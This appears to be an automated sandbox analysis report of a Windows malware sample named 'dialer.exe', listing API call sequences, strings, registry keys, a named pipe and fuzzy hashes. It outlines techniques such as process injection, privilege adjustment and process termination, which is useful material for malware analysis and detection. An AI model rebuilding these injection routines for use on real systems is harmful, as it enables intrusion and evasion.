Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 33f89feb9858a4e39e6e7226b1872fe8dc0a47489d7e71beaca7a62b826bfc15
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 33f89feb9858a4e39e6e7226b1872fe8dc0a47489d7e71beaca7a62b826bfc15
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
SleepEx.KERNELBASE ref: 0000000140002BEE

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNELBASE ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

SOFTWARE, xrefs: 0000000140002675
open, xrefs: 0000000140002960
dialerstager, xrefs: 0000000140002694

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 0000002A.00000002.3359603853.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3359315944.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360010625.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3360385903.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: dialer.exePID: 2876, Parent PID: 7064COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryFullAttributesFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 0000002C.00000002.3359695031.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3359312979.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360110135.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360496076.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360882007.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: AttributesFileFullQuery
String ID:
API String ID: 3545844373-0
Opcode ID: f71038f0e3432a8f3b164be4f50f2930c35b1c460969590bf0f90e78775cf134
Instruction ID: bfaa91673e3131da4486b8228e2f697fa27fa098225aeef3f4229114262b66f4
Opcode Fuzzy Hash: f71038f0e3432a8f3b164be4f50f2930c35b1c460969590bf0f90e78775cf134
Instruction Fuzzy Hash: 27F09DB2608B4086EAA2DB52F85579A77A0F38D7D4F009919BBC843735DB38C1988F84

Non-executed Functions

Function 00000001400026E0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140002720
wcsncmp.MSVCRT ref: 00000001400028F4
memset.MSVCRT ref: 00000001400029BC
wcscpy.MSVCRT ref: 0000000140002A25
wcscat.MSVCRT ref: 0000000140002A30
wcslen.MSVCRT ref: 0000000140002A38
wcslen.MSVCRT ref: 0000000140002A50
wcslen.MSVCRT ref: 0000000140002AB0
wcslen.MSVCRT ref: 0000000140002B02

Strings

`, xrefs: 0000000140002CAB
X, xrefs: 0000000140002C93
0, xrefs: 00000001400028F9
\BaseNamedObjects\ulufoxljdjwhtckuvndvmbau, xrefs: 00000001400026E9

Memory Dump Source

Source File: 0000002C.00000002.3359695031.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3359312979.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360110135.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360496076.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360882007.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: wcslen$memset$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\ulufoxljdjwhtckuvndvmbau$`
API String ID: 780471329-2590899224
Opcode ID: d8bc8fc7e4f78f97167b8dbf9317a79add4c4b500a37d0f0ebcbe230efc94c19
Instruction ID: 02c86cc2984cac849caf10a33095c616d0d4e11f6c4988ae29273a76e96b46b4
Opcode Fuzzy Hash: d8bc8fc7e4f78f97167b8dbf9317a79add4c4b500a37d0f0ebcbe230efc94c19
Instruction Fuzzy Hash: 721227B2618B8085E762CB26F8443EA77A4F789794F404215EBE957BF5EF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 0000002C.00000002.3359695031.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3359312979.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360110135.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360496076.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360882007.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 87217a8e6000bbfc0c2be15322c96d6386af0d1a3f2dc2985034ce914cf2b36b
Instruction ID: 5f7da3ae107d405e68b1edf1d60b0e34c591a5af8501f008d8300acc40c00392
